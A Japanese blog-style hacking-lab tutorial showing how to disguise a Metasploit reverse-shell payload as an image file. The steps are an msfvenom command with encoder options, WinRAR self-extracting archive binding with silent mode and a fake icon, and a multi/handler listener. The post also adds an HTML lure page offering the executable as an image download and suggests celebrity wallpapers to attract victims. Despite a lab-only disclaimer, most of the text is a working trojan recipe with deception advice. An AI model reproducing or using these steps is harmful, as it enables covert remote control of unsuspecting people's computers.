はじめに
2つのファイルをバインドすることにより、マルウェアの実行ファイルを画像ファイルのように見せかけることができる。バインドにはWinRARを用いる。
「ハッキング・ラボのつくりかた」(IPUSIRON著)P348-351を参考にした記事となります。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
アイコンファイルと画像ファイルを用意する
適当な画像ファイルを用意する。
Online ICO converterなどの画像変換サービスを利用して、画像ファイルからアイコンファイルを作成する。
指定は、同書にあるとおり、サイズを64ピクセル、ビット深度を8ビットにした。
ペイロードの作成
つぎのコマンドを実行する。
msfvenom -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.1.100 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' -o /home/kali/payloads/evilPic.exe
- -a : アーキテクチャ(32bitを指定)
- -p : ペイロード
- -f : 出力ファイル形式を指定
- -e : エンコーダーの種類
- -i : エンコード回数
- -b : 避ける文字 文字コードで指定する
- -o : 出力するファイルのパス(今回はファイル名をevilPic.exeとした)
ペイロードが作成できたので、Windows10にペイロードをコピーする。(私はUSBメモリを使った。仮想マシンでWindows10を利用している人は、VirtualBoxの共有フォルダ機能からコピー可能である。)
WinRARのインストールとそれを使ったバインド
本来は攻撃者側でWinRARを用意して、バインド処理を行わなければならない。実験なので簡易的に行うために、やられ端末のWindows10でバインド処理を行った。
ちなみに、WineのappDBのページでは、WinRARはplatinum評価なので、KaliLinuxでWineとWinRARを導入することで、バインド処理も可能そうである。
WinRARを使ったバインド処理の方法は以下通り。
- 画像ファイルとアイコンファイルの2つを選択した状態で、右クリックしてコンテキストメニューを出す。そのなかの「書庫に圧縮」をクリックする。
- 「書庫とパラメータ」が開く
- 「全般」タブの「書庫名」を設定する。(ただし、拡張子はrarとする) 同タブ内の圧縮オプションの「自己解凍書庫を作成」にチェックを入れる。
- 「高度」タブの「自己オプション」ボタンをクリックする。
- 「高度な自己解凍オプション」の「セットアップ」タブの「解凍後に実行」に、ペイロードと画像ファイルのファイル名を二行に分けて書く
- 「モード」タブの「サイレントモード』は「すべて隠す」を選択する。
- 「テキストとアイコン」タブの「アイコンをファイルから読み込む」にアイコンファイルを指定する
- 「更新」タブの「更新モード」は「新規と更新するファイル」、「上書きモード」は「確認しないで上書き」を選択する。
適用して「OK」ボタンをクリックすると、「test.exe」ファイルが作成されている。
やられ端末のエクスプローラが「拡張子を非表示にする設定」にされていれば、ハッキングの被害者にこのファイルを単なる画像ファイルと誤認させることができる。そして、実際にそのファイルを起動させても、被害者側からすれば、画像ファイルが開いただけにしか見えないのである。
被害者側が画像ファイルを開くまでに、リバースシェルの待ち受けを行っておく。
msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.100
exploit
Windows上では、画像が表示され、
Msfプロンプト上では、セッションが確立成功。
バインドにより作成するファイルと画像ファイルの名前は揃えておくほうが良い。
今回、"test"ファイルを開くと画像ビュワーでファイル名が"evilPic"と表示された。
ファイル名の不一致は、ユーザに怪しまれる可能性が高い。
起こり得るエラーについて
エラー発生
問題が発生した。
WinRARのバインド作業で作成したファイル(test.exe)のみを、別のフォルダに移動させてから実行すると、エラーが表示される。
test.exeのみをダウンロードフォルダからピクチャフォルダに移動させて実行した
この状態だと、何回実行してもセッションが確立しない。
ファイル単体(今回ではtest.exe)で運用できないと、ハッキングは不可能である。
原因として、同書P.350の記述「"wallpaper.png"と"wallpaper.ico"の2つを選択した状態で、右クリックして「Add to archive」を選びます。」という記述に誤りがあるのではないか。
画像ファイルとペイロードの2つを選択するのが、正確なのではないか。
疑問に思ったので、検証してみる。
エラー解決
最初に選ぶ2つのファイルを、ペイロードと画像ファイルに変える以外は、さきほどのWinRARを使ったバインド処理のプロセスは変えずにバインド処理を行い、新しくファイルを作成した。
作成したファイルを、単体で別のファルダに移動させて実行させてみる。
セッション確立成功。ただし、このファイルにバインドされていた2つのファイルが解凍されてExplorerに出現する。
evil.exeを削除しようとしても削除できない。
先賢がすでに解決済みと思うが、念の為。
この記事は備忘録も兼ねている。
おまけ
KaliLinuxにWinRARを導入して同じことをやってみた。
WinRARを使うには、Wineが必要である。
WineはShellterをインストールの際に同時にインストール済みである。(前回記事を参考に)
dpkg --print-foreign-architectures
//i386と表示された
sudo dpkg --add-architecture i386
sudo apt update
cd ~/Shellter_Backups
wine winrar-x64-611jp.exe
WinRARでバインドしたファイルを作成する。(名前はおもろい画像.exeとした。)
次のようなページを用意する。
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>おもろい画像</title>
</head>
<body>
<p>おもろい画像</p>
<img src="./おもろい画像.jpeg">
<a href="./おもろい画像.exe">画像のダウンロード</a>
</body>
</html>
こんなものを果たしてダウンロードしたい人がどこまで居るのかわからない。
しかし、もしこれが人気アニメやアイドル・俳優の壁紙だとしたら・・・。